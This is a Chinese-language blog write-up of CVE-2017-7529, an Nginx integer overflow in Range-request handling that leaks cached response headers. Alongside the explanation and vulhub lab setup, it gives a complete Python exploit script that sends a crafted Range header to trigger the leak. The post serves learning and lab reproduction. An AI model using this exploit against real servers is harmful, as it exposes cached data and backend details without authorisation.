title: CVE-2017-7529

CVE-2017-7529

影响范围:

  • Nginx 0.5.6 - 1.13.2

漏洞类型:

整数溢出

操作系统限制:

配置要求:

Nginx开启了缓存功能

漏洞利用:

信息泄露

利用原理:

Nginx处理Range请求的模块计算请求范围时候使用了64位有符号整数,在计算多段请求时候,Nginx会计算总的返回长度,攻击者通过给出接近64位整数机选大数字,两个负数相减或正数相加,结果超过64位整数能表示的最大范围,这个数值在计算机内部发生了溢出。当Nginx开启了缓存,存文件的格式不是纯文本,而是包含KEY、过期时间、后端服务器信息,后端返回的原始头信息,以及真正的网页内容,由于漏洞导致的整数溢出(没做边界检验),攻击者构造负数起始位置,在通过整数溢出使得请求变得合理(大整数与负数相加后整数溢出变成极小的数,极小的数小于实际文件总长,使服务器认为请求合理),Nginx内部计算的原始读取位置发生了偏移,可以让出错的指针刚好落到缓存头区域,进而读到缓存的内容

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/nginx/CVE-2017-7529
#拉取镜像
docker-compose up -d

写攻击脚本

import requests
​
# 确保指向 50x.html,通常情况会用目录爆破工具查找被缓存的静态资源,文件名字要对,如果请求文件不存在会返回404
url = 'http://靶机:8080/50x.html'
​
checker = requests.get(url)
print(f"Cache Status: {checker.headers.get('X-Proxy-Cache')}")
​
file_len = len(checker.content)
offset = 606 
​
p1 = file_len + offset
p2 = 0x8000000000000000 - p1
headers = {
    'Range': f'bytes=-{p1}, -{p2}'
}
​
r = requests.get(url, headers=headers)
​
print(f"Status Code: {r.status_code}")
if r.status_code == 206:
    print("\n--- 成功!泄露内容如下 ---")
    print(r.content)
else:
    print("\n--- 失败 ---")
    print("返回的还是 200,说明没触发溢出。请尝试再运行一次脚本以确保缓存 HIT。")

运行脚本,返回200且看到泄露的内容

python3 exploit.py


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Nginx
喜欢就支持一下吧